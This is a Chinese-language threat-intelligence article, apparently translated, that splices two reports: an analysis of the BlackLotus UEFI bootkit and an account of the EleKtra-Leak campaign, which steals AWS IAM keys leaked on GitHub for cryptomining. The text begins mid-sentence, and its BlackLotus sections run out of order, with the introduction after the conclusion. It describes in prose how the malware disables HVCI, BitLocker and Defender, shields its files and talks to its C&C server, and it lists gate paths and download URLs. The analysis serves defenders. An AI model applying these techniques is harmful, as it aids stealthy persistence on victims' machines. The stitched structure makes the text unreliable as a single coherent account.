與HTTP下載器通信,並在必要時執行任何命令。

HTTP下載器持久性內核驅動程序負責部署HTTP下載程序。當驅動程序啟動時,它會等待名為winlogon.exe的進程啟動,然後再執行任何其他操作。進程啟動後,驅動程序解密HTTP下載程序二進製文件,將其註入winlogon.exe的地址空間,並在新線程中執行。然後,驅動程序會定期檢查線程是否仍在運行,並在必要時重複注入。如果驅動程序檢測到內核調試器,則不會部署HTTP下載程序。

保護ESP上的bootkit文件不被刪除為了保護ESP上的bootkit文件,內核驅動程序使用了一個簡單的技巧。它打開所有要保護的文件,複製並保存其句柄,並使用ObSetHandleAttributes內核函數將HandleFlags(OBJECT_HANDLE_flag_INFORMATION)參數內的ProtectFromClose標誌指定為1,從而保護句柄不被任何其他進程關閉。這將阻止任何刪除或修改受保護文件的嘗試。受保護的文件包括:

ESP:\EFI\Microsoft\Boot\winload.efiESP:\EFI\Microsoft\Boot\bootmgfw.efiESP:\EFI\Microsoft\Boot\grubx64.efi如果用戶試圖刪除這些受保護的文件,就會出現如下圖所示的情況。

16.png

試圖刪除受BlackLotus驅動程序保護的文件

作為另一層保護,如果用戶或安全軟件能夠取消設置保護標誌並關閉句柄,內核驅動程序將持續監視它們,如果句柄不再存在,則通過調用KeBugCheck(INVALID_kernel_HANDLE)函數來生成一個BSOD。

解除主Windows Defender進程內核驅動程序還試圖解除主Windows Defender進程MsMpEng.exe的防護。為此,它通過為每個進程設置SE_PRIVILEGE_REMOVED屬性來刪除所有進程的令牌權限。因此,Defender進程應該無法正確地完成其工作(例如掃描文件)。但是,由於該功能執行得很差,因此可以通過重新啟動MsMpEng.exe進程使其失效。

與HTTP下載器的通信內核驅動程序能夠通過使用命名的Event和Section與HTTP下載器通信。所使用的命名對象的名稱是根據受害者的網絡適配器MAC地址(以太網)生成的。如果一個八位字節的值小於16,那麼將向其添加16。生成的對象名稱的格式可能在不同的示例中有所不同。例如,在我們分析的一個示例中,對於MAC地址00-1c-0b-cd-ef-34,生成的名稱為:

\BaseNamedObjects\101c1b:用於命名部分(僅使用MAC的前三個八位字節);

\BaseNamedObjects\Z01c1b:用於命名事件,與Section相同,但MAC地址的第一個數字被替換為Z;

如果HTTP下載器想要將一些命令傳遞給內核驅動程序,它只需要創建一個命名的節,在其中寫入一個包含相關數據的命令,並通過創建一個指定事件等待驅動程序處理該命令,直到驅動程序觸發(或發出信號)該命令。

驅動程序支持以下一目了然的命令:

安裝內核驅動程序;

卸載BlackLotus;

細心的讀者可能會注意到這裡的BlackLotus弱點,即使bootkit保護其組件不被刪除,內核驅動程序也可以通過創建上述命名對象並向其發送卸載命令來完全卸載bootkit。

HTTP下載器最後一個組件負責與CC服務器通信,並執行從其接收的任何CC命令。我們能夠發現的所有有效載荷都包含三個命令。這些命令非常簡單,正如部分名稱所示,主要是使用各種技術下載和執行額外的有效載荷。

CC通信為了與其CC通信,HTTP加載器使用HTTPS協議。通信所需的所有信息都直接嵌入到下載器二進製文件中,包括使用的CC域和HTTP資源路徑。與CC服務器通信的默認間隔設置為一分鐘,但可以根據CC的數據進行更改。與CC的每個通信會話都從向其發送信標HTTP POST消息開始。在我們分析的示例中,可以在HTTP POST標頭中指定以下HTTP資源路徑:

/network/API/hpb_gate[.]php

/API/hpb_gate[.]php

/gate[.]php

/hpb_gate[.]php

信標消息數據以checkin=字符串開頭,包含有關受攻擊機器的基本信息,包括自定義設備標識符(稱為HWID)、UEFI Secure Boot狀態、各種硬件信息以及一個看起來是BlackLotus內部版本號的值。 HWID由設備MAC地址(以太網)和系統卷序列號生成。加密前的消息格式如下圖所示。

17.png

在向CC發送消息之前,首先使用嵌入的RSA密鑰對數據進行加密,然後使用URL安全的base64編碼。在分析過程中,我們發現樣本中使用了兩個不同的RSA密鑰。這種HTTP信標請求的示例如下圖所示。

18.png

信標HTTP POST消息示例(由VirusTotal中的示例生成——具有本地IP而非真實CC地址的示例)

作為對信標消息的響應,從CC接收的數據應以兩字節魔法值HP開頭;否則,不進一步處理響應。如果魔法值正確,則在CBC模式下使用256位AES對魔法值之後的數據進行解密,並使用上述HWID字符串作為密鑰。

解密後,該消息類似於信標,一個JSON格式的字符串,並指定命令標識符(稱為Type)和各種附加參數,例如:

CC通信間隔;

執行方法;

有效負載文件名;

基於文件擴展名的負載類型(支持.sys、exe或.dll);

應該用於請求下載有效負載數據的身份驗證令牌;

用於解密有效負載數據的AES密鑰;

下表列出了所有支持的命令及其說明。

表2:CC命令

19.png

在這些命令中,CC可以指定是在執行負載之前先將其放到磁盤上,還是直接在內存中執行。在將文件放到磁盤的情況下,操作系統卷上的ProgramData文件夾將用作目標文件夾,文件名和擴展名由CC服務器指定。在直接在內存中執行文件的情況下,svchost.exe用作注入目標。當CC發送需要內核驅動程序協作的命令時,或者操作員希望以內核模式執行代碼時,將使用與HTTP下載器通信部分中描述的機制。

反分析技巧為了更難檢測和分析這一惡意軟件,其開發者試圖將標准文件工件(如文本字符串、導入或其他未加密的嵌入數據)的可見性限制在最低限度。以下是所用技術的摘要。

字符串和數據加密:示例中使用的所有字符串都使用簡單的密碼進行加密;

所有嵌入的文件都在CBC模式下使用256位AES加密;

各文件的加密密鑰可能因樣本而異;

除AES加密之外,一些文件還使用LZMS進行壓縮。

Runtime-onlyAPI解析:在所有示例中(如果適用),Windows API總是在運行時進行排他解析,並且使用函數哈希而不是函數名來查找內存中所需的API函數地址;

在某些情況下,直接syscall指令調用用於調用所需的系統函數;

網絡通信:使用HTTPS通信;

HTTP下載器發送到CC的所有消息都使用嵌入的RSA公鑰進行加密;

從CC發送到HTTP下載器的所有消息都使用來自受害者設備環境的密鑰或CC提供的AES密鑰進行加密;

反調試和反VM技巧:如果使用該方法,通常放在入口點的開頭,僅使用臨時沙盒或調試器檢測技巧。

緩解措施和補救措施首先,必須保持所使用的系統及其安全產品是最新的;

然後,要防止使用已知的易受攻擊UEFI二進製文件繞過UEFI Secure Boot,需要採取的關鍵步驟是在UEFI取消數據庫(dbx)中取消這些二進製文件,在Windows系統上,應使用Windows Update傳播dbx更新。

問題是,廣泛使用的Windows UEFI二進製文件的取消可能會導致數千個過時的系統、恢復映像或備份無法啟動,因此,取消通常需要很長時間。

請注意,BlackLotus使用的Windows應用程序的取消將阻止啟動工具包的安裝,但由於安裝程序將用已取消的啟動加載器替換受害者的啟動加載器,這可能會使系統無法啟動。要在這種情況下進行恢復,重新安裝操作系統或僅進行ESP恢復即可解決問題。

如果在設置BlackLotus持久性之後發生取消,則bootkit將保持正常運行,因為它使用具有自定義MOK密鑰的合法填充程序進行持久性。在這種情況下,最安全的緩解方案是重新安裝Windows,並使用mokutil實用程序刪除攻擊者註冊的MOK密鑰(由於在啟動過程中需要用戶與MOK管理器進行必要的交互,因此執行此操作需要實體存在)。

總結在過去幾年中,已經發現了許多影響UEFI系統安全的關鍵漏洞。不幸的是,由於整個UEFI生態系統的複雜性和相關的供應鏈問題,即使在漏洞修復後很長一段時間,或者至少在用戶被告知它們已修復後,這些漏洞中的許多漏洞仍會使許多系統處於易受攻擊狀態。下面是一些去年允許UEFI Secure Boot繞過的修復或取消失敗的示例:

首先,當然是CVE-2022-21894,這是一個被BlackLotus利用的漏洞。在修復該漏洞一年後,易受攻擊的UEFI二進製文件仍然沒有被取消,這使得BlackLotus等攻擊可以在啟用了UEFI Secure Boot的系統上秘密運行。

早在2022年,研究人員就披露了幾個允許禁用UEFI Secure Boot的UEFI漏洞。許多受影響的設備不再受到OEM的支持,但在聯想消費級筆記本電腦中發現高影響的UEFI漏洞。

在2022年晚些時候,研究人員發現了其他一些UEFI漏洞,這些漏洞也允許攻擊者很容易地禁用UEFI Secure Boot。正如Binarly的研究人員指出的那樣,在警告發布幾個月後,警告中列出的幾個設備都沒有被修復,或者沒有正確地被修復,這使得這些設備容易受到攻擊。與前面的情況類似,一些設備將永遠處於易受攻擊狀態,因為它們已經無法更新。在不遠的將來,有攻擊者會濫用這些漏洞,創建一個能夠在啟用UEFI Secure Boot的系統上運行的UEFIbootkit。

ESET 的安全研究人員近日發現了一種劫持UEFI 的惡意軟件,並將其命名為BlackLotus。該惡意軟件是首個可以在Win11系統上繞過Secure Boot 的UEFI bootkit 惡意軟件。這個bootkit利用UEFI安全啟動的Nday漏洞繞過安全啟動並在啟動過程中加載惡意的內核模塊。設備一旦感染該惡意軟件,就會在Win11 系統中禁用Defender、Bitlocker 和HVCI 等防病毒軟件。

BlackLotus UEFI bootkit近年來發現的UEFI漏洞數量以及在合理的時間窗口內修復或取消易受攻擊的二進製文件的失敗都沒有引起攻擊者的注意。因此,第一個公開的繞過基本平台安全功能的UEFIbootkit——UEFI Secure Boot——現在已經成為現實。在這篇文章中,研究人員首次公開分析了該UEFIbootkit,它能夠在啟用了UEFI Secure Boot的最新Windows 11系統上運行。 bootkit的功能及其單獨的功能使研究人員相信研究人員正在處理一個被稱為BlackLotus的bootkit,UEFIbootkit至少從2022年10月起就開始在黑客論壇上以5000美元的價格出售。

UEFIbootkit的破壞性很大,它完全控制系統啟動過程,因此能夠禁用各種系統安全機制,並在系統啟動的早期階段部署自己的內核模式或用戶模式有效負載。這使得他們可以非常隱秘地行動,並擁有很高的權限。到目前為止,只有少數幾個在野外被發現並被公開報導,例如,研究人員在2020年發現的多個惡意EFI樣本,或功能齊全的UEFIbootkit,如研究人員去年發現的ESPecterbootkit,或卡巴斯基研究人員發現的FinSpybootkit。

與固件植入(如LoJax)相比,UEFIbootkit可能在隱蔽性方面有所下降。研究人員的團隊於2018年發現了第一個野外UEFI固件植入,因為bootkit位於易於訪問的FAT32磁盤分區上。然而,作為啟動加載程序運行可以提供與固件植入幾乎相同的功能,但無需克服多級SPI閃存防禦,如BWE、BLE和PRx保護位,或硬件提供的保護(如Intel Boot Guard)。當然,UEFI Secure Boot阻礙了UEFIbootkit,但有一些不可忽視的已知漏洞可以繞過這一基本的安全機制。最糟糕的是,截止發文時,其中一些漏洞仍然很容易在最新系統上被利用,包括BlackLotus所利用的漏洞。

研究人員的調查始於對2022年末監測中的BlackLotus用戶模式組件(一個HTTP下載器)的一些點擊。經過初步評估,樣本中發現的代碼模式使研究人員發現了六個BlackLotus安裝程序(包括VirusTotal和研究人員自己的遙測)。這使研究人員能夠探索整個執行鏈,並意識到研究人員在這里處理的不僅僅是常規的惡意軟件。

以下是有關BlackLotus的要點,以及與之相關的一系列事件的時間表:

1.它能夠在啟用UEFI Secure Boot的最新、完全修復的Windows 11系統上運行;

2.它利用一個超過一年的漏洞(CVE-2022-21894)繞過UEFI Secure Boot並為bootkit設置持久性,這是該漏洞第一次被公開使用;

3.儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的、有效簽名的二進製文件仍未添加到UEFI取消列表中,因此該漏洞仍有可能被利用。 BlackLotus就是利用了這一點,將其合法但易受攻擊的二進製文件副本帶到系統中,以利用該漏洞;

4.它能夠禁用操作系統安全機制,如BitLocker, HVCI和Windows Defender;

5.一旦安裝完畢,bootkit的主要目標是部署一個內核驅動程序(其中一個功能是保護bootkit不被刪除),以及一個負責與CC通信並能夠加載其他用戶模式或內核模式負載的HTTP下載器;

6.至少從2022年10月6日起,BlackLotus就在地下論壇上進行銷售;

7.有趣的是,如果受攻擊的主機位於以下地區,研究人員分析的一些BlackLotus安裝程序不會繼續進行bootkit安裝:

Romanian(Moldova),ro-MDRussian(Moldova),ru-MDRussian(Russia),ru-RUUkrainian(Ukraine),uk-UABelarusian(Belarus),be-BYArmenian(Armenia),hy-AMKazakh(Kazakhstan),kk-KZ與BlackLotus相關的各事件的時間軸如下圖所示。

1.png

與BlackLotus UEFI bootkit相關的主要事件時間軸

如上所述,自2022年10月6日起,bootkit已在地下論壇上銷售。目前,研究人員還無法從監測數據中確定用於向受害者部署bootkit的確切傳播渠道。研究人員從公開來源和監測數據中獲得的BlackLotus樣本數量很少,這證明只有很少的攻擊者開始使用它。但是,在BlackLotus依賴的易受攻擊的啟動程序被取消之前,研究人員擔心,如果這個bootkit落入知名的犯罪組織手中,情況會迅速發生變化,這是基於bootkit的易於部署和犯罪組織利用其殭屍網絡傳播惡意軟件的能力。

幕後組織是BlackLotus嗎? BlackLotus屬於一款相當全能的固件級rootkit 惡意軟件。特點是能夠躲過各種刪除操作,以及繞過先進的Windows 防護措施。此前這類高級攻擊能力,僅被擁有深厚背景的機構所擁有,比如情報威脅組織。

1.BlackLotus在黑客論壇上的宣稱它具有集成的安全啟動繞過。將易受攻擊的驅動程序添加到UEFI取消列表目前是不可能的,因為該漏洞影響了數百個至今仍在使用的啟動加載程序。

安全研究人員分析:它利用CVE-2022-21894來破壞安全啟動,並在支持UEFI Secure Boot的系統上實現持久性。在撰寫本文時,它使用的易受攻擊的驅動程序仍然沒有在最新的dbx中被取消。

2.BlackLotus在黑客論壇上宣稱,bootkit具有內置的Ring0/Kernel保護,可以防止被刪除。

安全研究人員分析:它的內核驅動程序保護屬於EFI系統分區(ESP)上的文件句柄,可以不被關閉。作為額外的保護層,這些句柄會被持續監控,如果這些句柄中的任何一個被關閉,就會觸發藍屏死機(BSOD)。

3.BlackLotus在黑客論壇上宣稱,它具有反虛擬機(anti-VM)、反調試和代碼混淆功能,可以阻止被分析。

安全研究人員分析:它包含各種反虛擬機(anti-VM)、反調試和混淆技術,使其更難被複製或分析。

4.BlackLotus在黑客論壇上宣稱其目的是充當HTTP下載器。

安全研究人員分析:它的最後一個組件充當HTTP下載器,如HTTP下載器部分所述。

5.BlackLotus在黑客論壇上宣稱,HTTP下載器在一個合法的進程中以SYSTEM帳戶運行。

安全研究人員分析:它的HTTP下載器在winlogon.exe進程上下文中運行。

6.BlackLotus在黑客論壇上的宣稱,它是一個磁盤大小只有80kB的小型bootkit。

安全研究人員分析:能夠獲得的樣本確實在80 kB左右。

7.BlackLotus在黑客論壇宣稱,它可以禁用Windows內置的安全保護,如HVCI, Bitlocker, Windows Defender,並繞過用戶帳戶控制(UAC)。

安全研究人員分析:它可以禁用HVCI, Windows Defender, BitLocker並繞過UAC。

基於這些分析,研究人員可以肯定他們在野外發現的bootkit是BlackLotus UEFIbootkit。

攻擊概述BlackLotus攻擊鏈的簡單步驟如下圖所示。它由三個主要部分組成:

它首先執行安裝程序(下圖中的步驟1),該安裝程序負責將bootkit的文件部署到EFI系統分區,禁用HVCI和BitLocker,然後重新啟動計算機。

第一次重新啟動後,利用CVE-2022-21894並隨後記錄攻擊目標設備所有者的密鑰(MOK),以便在啟用UEFI Secure Boot的系統上實現持久性。然後重新啟動設備(下圖的步驟2-4)。

在所有後續啟動中,執行自簽名的UEFIbootkit,並部署其內核驅動程序和用戶模式有效負載(HTTP下載器)。這些組件能夠一起從CC服務器下載並執行額外的用戶模式和驅動程序組件,並保護bootkit不被刪除(下圖中的步驟5-9)。

2.png

BlackLotus的簡單步驟

工件分析儘管研究人員認為這是BlackLotus UEFIbootkit,但在分析的示例中沒有發現任何引用此名稱的內容。相反,該代碼充滿了對《暮蝉悲鸣时》 (HigurashiWhenTheyCry)動漫的引用,例如,在單個組件名稱中,例如Higurashi_installer_uac_module.dll和Higurashi _kernel.sys,以及用於簽名bootkit二進製文件的自簽名證書中(如下圖所示)。

3.png

BlackLotusbootkit使用的自簽名證書

此外,代碼解密但從不使用包含來自BlackLotus開發者的消息的各種字符串(如下圖所示),注意,hasherezade是一位著名的研究人員和各種惡意軟件分析工具的開發者,或者只是一些來自各種歌曲、遊戲或系列的隨機引用。

4.png

BlackLotus開發者在代碼中留下的消息示例

安裝過程研究人員首先分析了BlackLotus安裝程序,bootkit似乎以安裝程序的形式傳播,有兩個版本——離線和在線。這兩者之間的區別在於它們獲取合法(但易受攻擊)的Windows二進製文件的方式,這些二進製文件後來被用於繞過安全啟動。

在脫機版本中,Windows二進製文件嵌入在安裝程序中;

在在線版本中,Windows二進製文件直接從Microsoft符號存儲中下載。到目前為止,我們已經看到以下Windows二進製文件被BlackLotus bootkit濫用:

https://msdl.microsoft.com/download/symbols/bootmgfw.efi/7144BCD31C0000/bootmgfw.efi;https://msdl.microsoft.com/download/symbols/bootmgr.efi/98B063A61BC000/bootmgr.e fi;https://msdl.microsoft.com/download/symbols/hvloader.efi/559F396411D000/hvloader.efi;安裝程序的目標很明確,它負責禁用Windows安全功能,如BitLocker磁盤加密和HVCI,並將多個文件(包括惡意bootkit)部署到ESP。完成後,它會重新啟動受攻擊的設備,讓被釋放的文件完成其工作,以確保每次系統啟動時都會自動執行自簽名的UEFIbootkit,無論UEFI Secure Boot保護狀態如何。

初始化步驟執行安裝程序時,它會檢查它是否有足夠的權限(至少需要管理員)將其余文件部署到ESP,並執行其他需要提升進程的操作,如關閉HVCI或禁用BitLocker。如果不是這樣的話,它會嘗試通過使用此處詳細描述的UAC繞過方法再次執行安裝程序來提升,通過程序兼容性助手進行UAC繞過。

獲得必要的權限後,它將繼續,通過使用可用的Windows API函數讀取SecureBoot UEFI變量的值來檢查UEFI Secure Boot狀態,並通過直接訪問內存中的KUSER_SHARED_DATA結構字段NtMajorVersion和NtMinorVersion來確定Windows版本。它這樣做是為了決定是否需要繞過UEFI Secure Boot來在受害者的系統上部署bootkit(因為安全啟動支持最初是在Windows 8中添加的,並且可能不會在任何給定的設備上啟用)。

在繼續下一步之前,它將位於ESP:\EFI\Microsoft\Boot\目錄中的合法Windows啟動管理器(bootmgfw.efi)二進製文件重命名為winload.efi。此重命名的bootmgfw.exfi備份稍後將被bootkit用於啟動操作系統,或者在從CC服務器收到“卸載”命令時恢復原始啟動鏈,詳見CC通信部分。

步驟1——部署文件如果啟用了UEFI Secure Boot,安裝程序會將多個文件放入ESP:/EFI/Microsoft/Boot/和ESP:/system32/目錄中。前者是Windows使用的標準目錄,後者是安裝程序創建的自定義文件夾。

表1提供了安裝程序釋放的文件列表,並簡要說明了每個文件在執行鏈中的角色。稍後研究人員將詳細解釋執行鍊是如何工作的,現在只需注意,幾個合法的Microsoft簽名文件與惡意文件一起被釋放。

表1:BlackLotus安裝程序在啟用UEFI Secure Boot的系統上部署的文件

5.png

如果受害者正在運行不支持UEFI Secure Boot的Windows版本,或者在UEFI Secure Boot被禁用的情況下,部署非常簡單。部署惡意bootkit唯一需要做的事情是將ESP:\EFI\Microsoft\Boot\目錄中現有的Windows啟動管理器(bootmgfw.efi)二進製文件替換為攻擊者自己的自簽名惡意UEFI應用程序。由於UEFI Secure Boot是禁用的(因此在啟動期間不執行完整性驗證),因此不需要利用,UEFI固件只是執行惡意啟動管理器而不會導致任何安全違規。

步驟2——禁用受虛擬機監控程序保護的代碼完整性(HVCI)為了以後能夠運行自定義的未簽名內核代碼,安裝程序必須確保在系統上禁用了HVCI。已經有一位ESET研究人員在2022年就這個主題寫了一篇內容文章(簽名內核驅動程序——Windows內核的無防護網關):

基於虛擬化的安全(VBS)提供了幾個保護功能,其中最突出的是hypervisor保護的代碼完整性(HVCI),這也是一個獨立的功能。 HVCI在內核中強制執行代碼完整性,並且只允許執行有簽名的代碼。它有效地防止了易受攻擊的驅動程序被濫用來執行未簽名的內核代碼或加載惡意驅動程序(無論使用何種攻擊方法),似乎惡意軟件濫用易受攻擊的驅動程序來加載惡意代碼是微軟實現這一功能的主要動機之一。

如下圖所示,要禁用此功能,安裝程序將HypervisorEnforcedCodeIntegrity註冊表項下的Enabled註冊表值設置為零。

6.png

負責禁用HVCI的BlackLotus安裝程序函數的Hex-Rays反編譯代碼

步驟3——禁用BitLocker安裝程序禁用的下一個功能是BitLocker驅動器加密。這樣做的原因是,BitLocker可以與受信任的平台模塊(TPM)結合使用,以確保自系統上配置BitLocker驅動器加密以來,各種啟動文件和配置(包括安全啟動)未被篡改。考慮到安裝程序修改了受攻擊設備上的Windows啟動鏈,在支持TPM的系統上保持BitLocker將導致下次啟動時出現BitLocker恢復屏幕,並提示受害者係統已被攻擊。

要禁用此保護,BlackLotus安裝程序進行以下操作:

遍歷Root\CIMV2\Security\MicrosoftVolumeEncryption WMI命名空間下的所有捲,並通過調用Win32_EncryptableVolume WMI類的GetProtectionStatus方法檢查其保護狀態;

對於受BitLocker保護的對象,它調用DisableKeyProtectors方法,DisableCount參數設置為零,這意味著保護將被掛起,直到手動啟用;

在禁用了必要的保護並部署了所有文件後,安裝程序將自己註冊為在下次系統重新啟動時刪除,並重新啟動計算機以繼續利用CVE-2022-21894。

相關研究人員最近發現了一個異常活躍的攻擊活動,研究人員稱之為EleKtra-Leak,它會自動竊取GitHub公共存儲庫中洩漏的身份和訪問管理(IAM)密鑰。因此,與該活動相關的攻擊者能夠創建多個AWS彈性計算(EC2)實例,用於廣泛和持久的加密劫持。

分析發現,攻擊者能夠在五分鐘內識別並使用GitHub上首次洩漏的IAM密鑰,這一發現證明了攻擊者是如何利用云自動化技術來實現擴展加密劫持的目標。攻擊者似乎使用自動化工具不斷複製公共GitHub存儲庫,並掃描洩漏的亞馬遜網絡服務(AWS) IAM密鑰。

分析過程調查過程中,研究發現,攻擊者可能會識別頻繁出現的AWS賬戶id,以阻止這些賬戶id免受未來的攻擊或自動化腳本的攻擊。因此,研究人員設計了一種新穎的調查架構來動態創建和洩漏不可歸因的AWS密鑰。

多年來,攻擊者越來越多地使用GitHub作為攻擊的初始載體。 GitHub的一個強大功能是它能夠列出所有公共存儲庫,這使得開發人員和攻擊者能夠實時跟踪新的存儲庫。

考慮到這個功能,研究人員選擇GitHub作為其竊取AWS密鑰的實驗平台,將明文洩露的密鑰寫入新創建的GitHub存儲庫中的文件中,該存儲庫是研究人員隨機選擇並從公共GitHub存儲庫列表中復制的。研究人員將AWS密鑰洩露到復制存儲庫中隨機創建的文件中,然後在成功提交後將其刪除。

一旦將竊取的密鑰提交到存儲庫,研究人員就會立即刪除了它們。最初,IAM密鑰使用Base64編碼。然而,儘管像trufflehog這樣的工具可以找到洩漏的Base64 IAM密鑰,但事實上沒有攻擊者能找到密鑰。

研究人員認為,攻擊者目前沒有使用能夠解碼base64編碼密鑰的工具,其中一個原因可能是因為這些工具有時會產生噪音並產生許多誤報。

研究人員隨後進行了以明文形式洩露AWS密鑰的實驗,攻擊者發現這些都是明文寫的,隱藏在過去提交的一個隨機文件中,並添加到復制的repo中。

GitHub掃描當研究人員在GitHub中洩漏AWS密鑰時,GitHub的秘密掃描功能發現了它們,然後GitHub以編程方式通知AWS洩漏的秘鑰。這導致AWS自動將隔離策略應用於與密鑰關聯的用戶,稱為AWSCompromisedKeyQuarantine。

最初,研究人員保留了AWS awspromisedkeyquarantine策略,在攻擊者測試洩漏的密鑰時被動地監控研究人員的偵察。研究人員有意將AWS隔離策略替換為原始的IAM策略,以進一步了解整個活動。

需要注意的是,應用AWS隔離策略不是因為攻擊者發起了攻擊,而是因為AWS在GitHub中發現了密鑰。研究人員認為,攻擊者可能能夠找到AWS未自動檢測到的已洩漏的AWS密鑰,並隨後在AWSCompromisedKeyQuarantine策略之外控制這些密鑰。

在研究人員使用洩露密鑰進行的實驗中,攻擊者在AWS應用隔離策略後四分鐘內開始。下圖顯示了這些活動的時間軸。

1.png

攻擊者的活動時間軸

上圖最後一行顯示,從CloudTrail事件AttachUserPolicy開始,AWS在時間13:30:22時應用隔離策略。僅僅四分鐘後,在13:34:15,攻擊者開始使用AWS API descripregions進行偵察。 CloudTrail是一個審計工具,它記錄在配置的雲資源中發生的和事件。

攻擊結構下圖顯示了整個自動化攻擊結構。 GitHub公共存儲庫被實時掃描,一旦找到密鑰,攻擊者的自動化就會開始。

2.png

Operation CloudKeys架構

下圖顯示,攻擊者首先執行AWS帳戶偵察。

3.png

AWS帳戶偵察

在偵察之後,攻擊者創建AWS安全組,然後在任何可訪問的AWS區域上最終啟動每個區域的多個EC2實例。

4.png

修改安全組並啟動第一個EC2實例

研究人員收集的數據表明,攻擊者的自動化是在VPN環境中進行的。根據CloudTrail的日誌記錄,研究人員在多個地區重複了相同的操作,總共產生了400多個API調用,加起來只用了7分鐘。這表明攻擊者成功地隱藏了自己的身份,同時對AWS賬戶環境發起了自動攻擊。

啟動實例和配置一旦發現AWS密鑰,自動化的一部分將包括在不同地區運行實例的攻擊者。下圖顯示了有關實例類型及其跨多個區域分佈的統計信息。

攻擊者使用大格式雲虛擬機執行操作,特別是c5a.24xlarge AWS實例。加密挖礦操作通常使用大格式雲實例,因為它們將提高處理能力,使加密劫持者能夠在更短的時間內挖掘更多加密貨幣。

5.png

跨區域實例化的AWS EC2實例類型

CloudTrail日誌中沒有記錄用戶數據。為了捕獲數據,研究人員對EC2卷執行了取證分析。

如下圖所示,挖礦自動化在挖礦軟件啟動EC2配置過程中自動顯示用戶數據。

6.png

挖礦軟件的配置腳本

下圖顯示了存儲在Google Drive中的有效負載。 Google Driveurl在設計上是匿名的,無法將此URL映射到谷歌Cloud用戶帳戶。下載的有效負載被加密存儲,然後在下載時解密,如第6行所示。

有效負載是一個已知的挖掘工具,哈希值可以與之前的研究相關聯,研究人員認為相同的攻擊者使用公開洩漏的Docker服務來執行加密劫持。他們還確定了提交給VirusTotal的報告,這些報告具有相同的哈希,並使用相同的持久化命名約定(“appworker”),如下圖所示。

7.png

共享相同元數據的已知加密挖掘二進製文件

攻擊者使用的AMI(Amazon Machine Image類型也很獨特,它是用於創建虛擬服務器(即AWS 環境中的EC2 實例)的主映像。被識別的映像是私有的,它們沒有在AWS市場上列出。下圖顯示了使用以下AMI實例的id。

8.png

私有AMI映像id列表

其中一些圖片是Ubuntu 18版本。研究人員認為,所有這些攻擊指標(ioc)都表明,這是一個至少可以追溯到2020年的長期挖礦活動。

挖礦活動跟踪如上所述,EC2實例通過EC2用戶數據接收它們的挖掘配置。該配置包含每個挖礦軟件用於傳播其開采的門羅幣的門羅幣錢包地址。

根據其架構,研究人員可以推測錢包地址是獨立用於AWS挖礦的。如果是這種情況,連接到池的每個工件都代表一個單獨的Amazon EC2實例。

攻擊者用於此操作的挖掘池是SupportXMR挖掘池。礦池用於加密挖礦,作為多個挖礦軟件共同工作的工作空間,以增加成功挖礦的機會。

考慮到SupportXMR服務只提供某時間段的統計數據,研究人員對錢包進行了數週的監控並提取了挖掘統計數據。下圖顯示了獨立挖礦軟件的數量。

9.png

XMR挖礦軟件數量統計

在2023年8月30日至2023年10月6日期間,總共出現了474個獨立挖礦軟件,研究人員可以將其解釋為在此期間記錄的474個獨立的Amazon EC2實例執行挖礦。由於攻擊者挖的是門羅幣(Monero),這是一種包含隱私控制的加密貨幣,因此研究人員無法跟踪錢包來獲得攻擊者獲得挖礦貨幣的確切數字。

研究人員將繼續監控這一挖礦活動。這與Unit 42觀察到的攻擊者使用可信業務應用程序逃避檢測的發現一致。

架構分析為了開展研究,Prisma雲安全研究團隊創建了一個名為HoneyCloud的工具,這是一個完全可攻擊和可複制的雲環境,包含以下功能:

跟踪惡意操作;

跟踪雲攻擊者的行動;

發現新的雲攻擊路徑;

構建更好的雲防禦解決方案。

研究人員使用IaC模板為Terraform創建了一個半隨機的AWS基礎設施。 Terraform是一個IaC配置工具,用於管理和維護雲基礎設施,這個工具允許研究人員使用定時調度和人工分析來創建和破壞基礎設施。

由於研究人員之前的AWS賬戶ID被添加到攻擊者的黑名單中,他們進行了一個Terraform設計。該設計在生成的AWS賬戶中引入了一定數量的隨機性,其新創建的基礎設施幫助研究人員避免了攻擊者匹配或識別以前IAM密鑰洩漏的操作。

研究人員還設計了Terraform自動化,根據攻擊者在AWS賬戶中執行的活動,使用不同類型的IAM策略,該策略或多或少會限制IAM權限。

在本次調查中,研究人員遇到的最大障礙便是AWS在應用隔離策略,以防止惡意方面的反應速度速度。 AWS在GitHub上洩露AWS密鑰後兩分鐘內實施了隔離政策。

AWS隔離策略本可以成功阻止此攻擊。然而,在分析了挖礦活動之後,研究人員發現了更多的挖礦實例,這可能是因為密鑰以不同的方式或在不同的平台上被洩漏。

為了方便研究,研究人員被迫重寫隔離策略,以確保研究人員能夠跟踪攻擊者的操作。為了執行此操作,研究人員創建了一個單獨的監控工具,以恢復我們計劃破壞的原始過度寬鬆的AWS安全策略。

自動生成AWS雲下圖顯示了用於公開AWS IAM憑據並隨後監控針對它們採取操作的總IaC架構。

10.png

使用AWS複製和監控GitHub存儲庫

所設計架構的IaC模板負責隨機選擇GitHub存儲庫,複製和洩漏AWS IAM密鑰作為過去提交的隨機文件。在AWS方面,使用相同的AWS管理組織和集中式CloudTrail日誌存儲,為IaC模板執行的每次迭代動態創建新的AWS帳戶。

研究人員還在AWS管理帳戶中開發並部署了一個額外的lambda函數,該函數作為監控器收集基礎設施更改並跟踪IAM用戶策略更改。

IaC模板的主要目標之一是保持AWS基礎設施組件盡可能隨機,以避免被攻擊者發現並阻止。另一個目標是允許定期和精確地摧毀基礎設施,以便快速和系統地開始新的環境和變量。通過這種方式,攻擊者只能將AWS IAM密鑰視為全新AWS環境的一部分,而不是研究環境的一部分。

總結分析發現,攻擊者掃描了公共GitHub存儲庫中洩漏的AWS IAM秘鑰。研究人員發現,AWS IAM密鑰在公共GitHub存儲庫中洩漏僅五分鐘後便可以檢測並啟動全面的挖礦。

該活動至少從2020年就開始了,儘管AWS隔離政策取得了成功,但該活動在受害帳戶的數量和頻率上仍然持續波動,研究人員認為關注洩漏的GitHub秘鑰或亞馬遜EC2實例目標僅僅是攻擊目標之一。

為了方便分析,研究人員開發了一個半自動化的IaC Terraform架構來跟踪該攻擊活動,其中就包括動態創建旨在被破壞和銷毀的AWS賬戶。

緩解策略1.使用AWS隔離策略;

2.使用Amazon Lightsail,在洩漏的IAM密鑰提交到GitHub存儲庫的幾分鐘內,AWS啟動了此隔離。這一隔離策略必須正確使用,以確保潛在的攻擊者不會利用敏感的雲數據、服務和資源。

無意中洩漏AWS IAM秘鑰的組織應立即撤銷使用該秘鑰建立的任何API連接,還應從其GitHub存儲庫中刪除AWS IAM秘鑰,並生成新的AWS IAM秘鑰以實現所需功能。

